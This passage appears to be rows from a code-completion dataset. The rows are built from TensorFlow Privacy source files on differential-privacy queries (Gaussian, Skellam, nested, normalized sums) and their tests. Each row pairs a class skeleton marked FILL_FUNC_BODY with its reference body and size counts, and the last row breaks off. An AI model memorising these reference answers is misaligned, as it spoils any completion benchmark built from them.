self.assertEqual(tf.as_dtype(samples.dtype), dtype)
| 18 | 1,190 | 83 | 1,273 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,445 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/distributed_discrete_gaussian_query.py | 59,60 | 24,112 | _add_local_noise | DistributedDiscreteGaussianSumQuery | 72,89 | 60,89 | class DistributedDiscreteGaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery for discrete distributed Gaussian sum queries.
For each local record, we check the L2 norm bound and add discrete Gaussian
noise. In particular, this DPQuery does not perform L2 norm clipping and the
norms of the i... | class DistributedDiscreteGaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery for discrete distributed Gaussian sum queries.
For each local record, we check the L2 norm bound and add discrete Gaussian
noise. In particular, this DPQuery does not perform L2 norm clipping and the
norms of the i... | # Round up the noise as the TF discrete Gaussian sampler only takes
# integer noise stddevs for now.
ceil_local_stddev = tf.cast(tf.math.ceil(local_stddev), tf.int32)
def add_noise(v):
# Adds an extra dimension for `shares` number of draws.
shape = tf.concat([[shares], tf.shape(v)], axis=0)... | """Add local discrete Gaussian noise to the record.
Args:
record: The record to which we generate and add local noise.
local_stddev: The stddev of the local discrete Gaussian noise.
shares: Number of shares of local noise to generate. Should be 1 for each
record. This can be useful wh... | 83 | 893 | 282 | 1,175 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,448 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/distributed_skellam_query.py | 155,156 | 133,166 | get_noised_result | DistributedSkellamAverageQuery | 157,166 | 156,166 | class DistributedSkellamAverageQuery(normalized_query.NormalizedQuery):
"""Implements DPQuery interface for Skellam average queries.
Checks norm bounds and adds Skellam noise to each vector, sums them up, casts
to float32 and normalizes using the truediv operation.
"""
def __init__(self, l1_norm_bound, l2_n... | class DistributedSkellamAverageQuery(normalized_query.NormalizedQuery):
"""Implements DPQuery interface for Skellam average queries.
Checks norm bounds and adds Skellam noise to each vector, sums them up, casts
to float32 and normalizes using the truediv operation.
"""
def __init__(self, l1_norm_bound, l2_n... | noised_sum, new_sum_global_state, event = self._numerator.get_noised_result(
sample_state, global_state.numerator_state)
def normalize(v):
return tf.math.truediv(tf.cast(v, tf.float32), global_state.denominator)
return (tf.nest.map_structure(normalize, noised_sum),
self._GlobalSt... | """Normalize accumulated sum with floordiv."""
noised_sum, new_sum_global_state, event = self._numerator.get_noised_result(
sample_state, global_state.numerator_state)
def normalize(v):
return tf.math.truediv(tf.cast(v, tf.float32), global_state.denominator)
return (tf.nest.map_structure... | 19 | 307 | 143 | 450 | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,449 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/distributed_skellam_query.py | 91,92 | 24,133 | preprocess_record | DistributedSkellamSumQuery | 107,127 | 92,127 | class DistributedSkellamSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for discrete distributed sum queries.
This implementation is for the distributed queries where the Skellam noise
is applied locally to a discrete vector that matches the norm bound.
"""
# pylint: disable=invali... | class DistributedSkellamSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for discrete distributed sum queries.
This implementation is for the distributed queries where the Skellam noise
is applied locally to a discrete vector that matches the norm bound.
"""
# pylint: disable=invali... | record_as_list = tf.nest.flatten(record)
record_as_float = [tf.cast(x, tf.float32) for x in record_as_list]
tf.nest.map_structure(lambda x: tf.debugging.assert_type(x, tf.int32),
record_as_list)
dependencies = [
tf.debugging.assert_less_equal(
tf.reduce_sum(... | """Check record norm and add noise to the record.
For both L1 and L2 norms we compute a global norm of the provided record.
Since the record contains int32 tensors we cast them into float32 to
compute L2 norm. In the end we run three asserts: type, l1, and l2 norms.
Args:
params: The paramet... | 54 | 1,113 | 334 | 1,447 | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,450 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/distributed_skellam_query_test.py | 73,74 | 23,154 | test_skellam_sum_with_noise | DistributedSkellamQueryTest | 75,89 | 74,89 | class DistributedSkellamQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_skellam_sum_no_noise(self):
record1 = tf.constant([2, 0], dtype=tf.int32)
record2 = tf.constant([-1, 1], dtype=tf.int32)
query = distributed_skellam_query.DistributedSkellamSumQuery(
l1_norm_bound=10, l2_norm_b... | class DistributedSkellamQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_skellam_sum_no_noise(self):
record1 = tf.constant([2, 0], dtype=tf.int32)
record2 = tf.constant([-1, 1], dtype=tf.int32)
query = distributed_skellam_query.DistributedSkellamSumQuery(
l1_norm_bound=10, l2_norm_b... | record = tf.constant([1], dtype=tf.int32)
local_stddev = 1.0
query = distributed_skellam_query.DistributedSkellamSumQuery(
l1_norm_bound=10.0, l2_norm_bound=10, local_stddev=local_stddev)
noised_sums = []
for _ in range(1000):
query_result, _ = test_utils.run_query(query, [record])
... | """Use only one record to test std."""
record = tf.constant([1], dtype=tf.int32)
local_stddev = 1.0
query = distributed_skellam_query.DistributedSkellamSumQuery(
l1_norm_bound=10.0, l2_norm_bound=10, local_stddev=local_stddev)
noised_sums = []
for _ in range(1000):
query_result, ... | 32 | 1,802 | 198 | 2,000 | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,453 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/dp_query.py | 292,293 | 285,300 | accumulate_preprocessed_record | SumAggregationDPQuery | 295,297 | 293,297 | class SumAggregationDPQuery(DPQuery):
"""Base class for DPQueries that aggregate via sum."""
def initial_sample_state(self, template=None):
"""Implements `tensorflow_privacy.DPQuery.initial_sample_state`."""
return tf.nest.map_structure(_zeros_like, template)
def accumulate_preprocessed_record(self, sam... | class SumAggregationDPQuery(DPQuery):
"""Base class for DPQueries that aggregate via sum."""
def initial_sample_state(self, template=None):
"""Implements `tensorflow_privacy.DPQuery.initial_sample_state`."""
return tf.nest.map_structure(_zeros_like, template)
def accumulate_preprocessed_record(self, sam... | return tf.nest.map_structure(_safe_add, sample_state, preprocessed_record)
| """Implements `tensorflow_privacy.DPQuery.accumulate_preprocessed_record`.
"""
return tf.nest.map_structure(_safe_add, sample_state, preprocessed_record)
| 4 | 220 | 29 | 249 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,454 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/dp_query_test.py | 22,23 | 20,30 | test_initial_sample_state_works_on_tensorspecs | SumAggregationQueryTest | 23,30 | 23,30 | class SumAggregationQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_initial_sample_state_works_on_tensorspecs(self):
FILL_FUNC_BODY | class SumAggregationQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_initial_sample_state_works_on_tensorspecs(self):
FILL_FUNC_BODY | query = no_privacy_query.NoPrivacySumQuery()
template = tf.TensorSpec.from_tensor(tf.constant([1.0, 2.0]))
sample_state = query.initial_sample_state(template)
expected = [0.0, 0.0]
self.assertAllClose(sample_state, expected)
| query = no_privacy_query.NoPrivacySumQuery()
template = tf.TensorSpec.from_tensor(tf.constant([1.0, 2.0]))
sample_state = query.initial_sample_state(template)
expected = [0.0, 0.0]
self.assertAllClose(sample_state, expected)
| 16 | 53 | 98 | 151 | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2022, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,455 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/gaussian_query.py | 79,80 | 23,98 | get_noised_result | GaussianSumQuery | 81,98 | 80,98 | class GaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for Gaussian sum queries.
Clips records to bound the L2 norm, then adds Gaussian noise to the sum.
"""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple('_GlobalState',
... | class GaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for Gaussian sum queries.
Clips records to bound the L2 norm, then adds Gaussian noise to the sum.
"""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple('_GlobalState',
... | if packaging.version.Version(
tf.__version__) < packaging.version.Version('2.0.0'):
def add_noise(v):
return v + tf.random.normal(
tf.shape(input=v), stddev=global_state.stddev, dtype=v.dtype)
else:
random_normal = tf.random_normal_initializer(stddev=global_state.stddev)... | """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
if packaging.version.Version(
tf.__version__) < packaging.version.Version('2.0.0'):
def add_noise(v):
return v + tf.random.normal(
tf.shape(input=v), stddev=global_state.stddev, dtype=v.dtype)
else:
ran... | 41 | 727 | 248 | 975 | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,456 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/gaussian_query_test.py | 73,74 | 22,105 | test_gaussian_sum_merge | GaussianQueryTest | 74,95 | 74,95 | class GaussianQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_gaussian_sum_no_clip_no_noise(self):
record1 = tf.constant([2.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
query = gaussian_query.GaussianSumQuery(l2_norm_clip=10.0, stddev=0.0)
query_result, _ = test_utils.run_query(query, [... | class GaussianQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_gaussian_sum_no_clip_no_noise(self):
record1 = tf.constant([2.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
query = gaussian_query.GaussianSumQuery(l2_norm_clip=10.0, stddev=0.0)
query_result, _ = test_utils.run_query(query, [... | records1 = [tf.constant([2.0, 0.0]), tf.constant([-1.0, 1.0])]
records2 = [tf.constant([3.0, 5.0]), tf.constant([-1.0, 4.0])]
def get_sample_state(records):
query = gaussian_query.GaussianSumQuery(l2_norm_clip=10.0, stddev=1.0)
global_state = query.initial_global_state()
params = query.de... | records1 = [tf.constant([2.0, 0.0]), tf.constant([-1.0, 1.0])]
records2 = [tf.constant([3.0, 5.0]), tf.constant([-1.0, 4.0])]
def get_sample_state(records):
query = gaussian_query.GaussianSumQuery(l2_norm_clip=10.0, stddev=1.0)
global_state = query.initial_global_state()
params = query.de... | 56 | 970 | 336 | 1,306 | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,457 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/nested_query.py | 94,95 | 24,122 | get_noised_result | NestedQuery | 96,106 | 95,106 | class NestedQuery(dp_query.DPQuery):
"""Implements DPQuery interface for structured queries.
NestedQuery evaluates arbitrary nested structures of queries. Records must be
nested structures of tensors that are compatible (in type and arity) with the
query structure, but are allowed to have deeper structure with... | class NestedQuery(dp_query.DPQuery):
"""Implements DPQuery interface for structured queries.
NestedQuery evaluates arbitrary nested structures of queries. Records must be
nested structures of tensors that are compatible (in type and arity) with the
query structure, but are allowed to have deeper structure with... | mapped_query_results = self._map_to_queries('get_noised_result',
sample_state, global_state)
flat_estimates, flat_new_global_states, flat_events = zip(
*tree.flatten_up_to(self._queries, mapped_query_results))
return (tf.nest.pack_sequence_as(self._q... | """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
mapped_query_results = self._map_to_queries('get_noised_result',
sample_state, global_state)
flat_estimates, flat_new_global_states, flat_events = zip(
*tree.flatten_up_to(self._queries,... | 18 | 1,164 | 161 | 1,325 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,458 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/nested_query.py | 134,135 | 122,141 | check | NestedSumQuery | 135,138 | 135,138 | class NestedSumQuery(NestedQuery, dp_query.SumAggregationDPQuery):
"""A NestedQuery that consists only of SumAggregationDPQueries."""
def __init__(self, queries):
"""Initializes the NestedSumQuery.
Args:
queries: A nested structure of queries that must all be
SumAggregationDPQueries.
Rai... | class NestedSumQuery(NestedQuery, dp_query.SumAggregationDPQuery):
"""A NestedQuery that consists only of SumAggregationDPQueries."""
def __init__(self, queries):
"""Initializes the NestedSumQuery.
Args:
queries: A nested structure of queries that must all be
SumAggregationDPQueries.
Rai... | if not isinstance(query, dp_query.SumAggregationDPQuery):
raise TypeError('All subqueries must be SumAggregationDPQueries.')
| if not isinstance(query, dp_query.SumAggregationDPQuery):
raise TypeError('All subqueries must be SumAggregationDPQueries.')
| 10 | 157 | 44 | 201 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,460 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/nested_query_test.py | 115,116 | 113,132 | initial_sample_state | NonSumDPQuery | 116,119 | 116,119 | class NonSumDPQuery(dp_query.DPQuery):
def initial_sample_state(self, template=None):
FILL_FUNC_BODY def accumulate_preprocessed_record(self, sample_state,
preprocessed_record):
del sample_state, preprocessed_record # Unused.
return None
d... | class NonSumDPQuery(dp_query.DPQuery):
def initial_sample_state(self, template=None):
FILL_FUNC_BODY def accumulate_preprocessed_record(self, sample_state,
preprocessed_record):
del sample_state, preprocessed_record # Unused.
return None
d... | del template # Unused.
return None
| del template # Unused.
return None
| 6 | 176 | 17 | 193 | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,461 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/nested_query_test.py | 157,158 | 143,168 | merge_sample_states | QueryWithMetric | 158,161 | 158,161 | class QueryWithMetric(dp_query.SumAggregationDPQuery):
def __init__(self, metric_val):
self._metric_val = metric_val
def initial_sample_state(self, template=None):
del template # Unused.
return None
def accumulate_preprocessed_record(self, sample_state,
... | class QueryWithMetric(dp_query.SumAggregationDPQuery):
def __init__(self, metric_val):
self._metric_val = metric_val
def initial_sample_state(self, template=None):
del template # Unused.
return None
def accumulate_preprocessed_record(self, sample_state,
... | del sample_state_1, sample_state_2 # Unused.
return None
| del sample_state_1, sample_state_2 # Unused.
return None
| 7 | 226 | 27 | 253 | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2018, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,462 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/no_privacy_query.py | 83,84 | 32,89 | get_noised_result | NoPrivacyAverageQuery | 85,89 | 84,89 | class NoPrivacyAverageQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for an average query with no privacy.
Accumulates vectors and normalizes by the total number of accumulated vectors.
Under some sampling schemes, such as Poisson subsampling, the number of
records in a sample is a priv... | class NoPrivacyAverageQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for an average query with no privacy.
Accumulates vectors and normalizes by the total number of accumulated vectors.
Under some sampling schemes, such as Poisson subsampling, the number of
records in a sample is a priv... | sum_state, denominator = sample_state
result = tf.nest.map_structure(lambda t: t / denominator, sum_state)
return result, global_state, dp_accounting.NonPrivateDpEvent()
| """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
sum_state, denominator = sample_state
result = tf.nest.map_structure(lambda t: t / denominator, sum_state)
return result, global_state, dp_accounting.NonPrivateDpEvent()
| 16 | 594 | 63 | 657 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,463 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/no_privacy_query.py | 27,28 | 21,32 | get_noised_result | NoPrivacySumQuery | 29,32 | 28,32 | class NoPrivacySumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for a sum query with no privacy.
Accumulates vectors without clipping or adding noise.
"""
def get_noised_result(self, sample_state, global_state):
FILL_FUNC_BODY | class NoPrivacySumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery interface for a sum query with no privacy.
Accumulates vectors without clipping or adding noise.
"""
def get_noised_result(self, sample_state, global_state):
"""Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
FILL... | return sample_state, global_state, dp_accounting.NonPrivateDpEvent()
| """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
return sample_state, global_state, dp_accounting.NonPrivateDpEvent()
| 4 | 106 | 28 | 134 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,464 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/no_privacy_query_test.py | 41,42 | 21,63 | test_no_privacy_weighted_average | NoPrivacyQueryTest | 42,53 | 42,53 | class NoPrivacyQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_sum(self):
record1 = tf.constant([2.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
query = no_privacy_query.NoPrivacySumQuery()
query_result, _ = test_utils.run_query(query, [record1, record2])
expected = [1.0, 1.0]
se... | class NoPrivacyQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_sum(self):
record1 = tf.constant([2.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
query = no_privacy_query.NoPrivacySumQuery()
query_result, _ = test_utils.run_query(query, [record1, record2])
expected = [1.0, 1.0]
se... | record1 = tf.constant([4.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
weights = [1, 3]
query = no_privacy_query.NoPrivacyAverageQuery()
query_result, _ = test_utils.run_query(
query, [record1, record2], weights=weights)
expected = [0.25, 0.75]
self.assertAllClose(query_result, expec... | record1 = tf.constant([4.0, 0.0])
record2 = tf.constant([-1.0, 1.0])
weights = [1, 3]
query = no_privacy_query.NoPrivacyAverageQuery()
query_result, _ = test_utils.run_query(
query, [record1, record2], weights=weights)
expected = [0.25, 0.75]
self.assertAllClose(query_result, expec... | 29 | 460 | 143 | 603 | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,465 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/normalized_query.py | 61,62 | 22,86 | initial_sample_state | NormalizedQuery | 63,66 | 62,66 | class NormalizedQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for queries with a `DPQuery` numerator and fixed denominator.
If the number of records per round is a public constant R, `NormalizedQuery`
could be used with a sum query as the numerator and R as the denominator to
implement an average. Under ... | class NormalizedQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for queries with a `DPQuery` numerator and fixed denominator.
If the number of records per round is a public constant R, `NormalizedQuery`
could be used with a sum query as the numerator and R as the denominator to
implement an average. Under ... | # NormalizedQuery has no sample state beyond the numerator state.
return self._numerator.initial_sample_state(template)
| """Implements `tensorflow_privacy.DPQuery.initial_sample_state`."""
# NormalizedQuery has no sample state beyond the numerator state.
return self._numerator.initial_sample_state(template)
| 12 | 826 | 36 | 862 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,466 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/normalized_query_test.py | 23,24 | 21,36 | test_normalization | NormalizedQueryTest | 24,36 | 24,36 | class NormalizedQueryTest(tf.test.TestCase):
def test_normalization(self):
FILL_FUNC_BODY | class NormalizedQueryTest(tf.test.TestCase):
def test_normalization(self):
FILL_FUNC_BODY | record1 = tf.constant([-6.0, 8.0]) # Clipped to [-3.0, 4.0].
record2 = tf.constant([4.0, -3.0]) # Not clipped.
sum_query = gaussian_query.GaussianSumQuery(l2_norm_clip=5.0, stddev=0.0)
query = normalized_query.NormalizedQuery(
numerator_query=sum_query, denominator=2.0)
query_result, _ =... | record1 = tf.constant([-6.0, 8.0]) # Clipped to [-3.0, 4.0].
record2 = tf.constant([4.0, -3.0]) # Not clipped.
sum_query = gaussian_query.GaussianSumQuery(l2_norm_clip=5.0, stddev=0.0)
query = normalized_query.NormalizedQuery(
numerator_query=sum_query, denominator=2.0)
query_result, _ =... | 37 | 34 | 193 | 227 | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,467 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/quantile_adaptive_clip_sum_query.py | 120,121 | 25,146 | get_noised_result | QuantileAdaptiveClipSumQuery | 122,143 | 121,143 | class QuantileAdaptiveClipSumQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for Gaussian sum queries with adaptive clipping.
Clipping norm is tuned adaptively to converge to a value such that a specified
quantile of updates are clipped, using the algorithm of Andrew et al. (
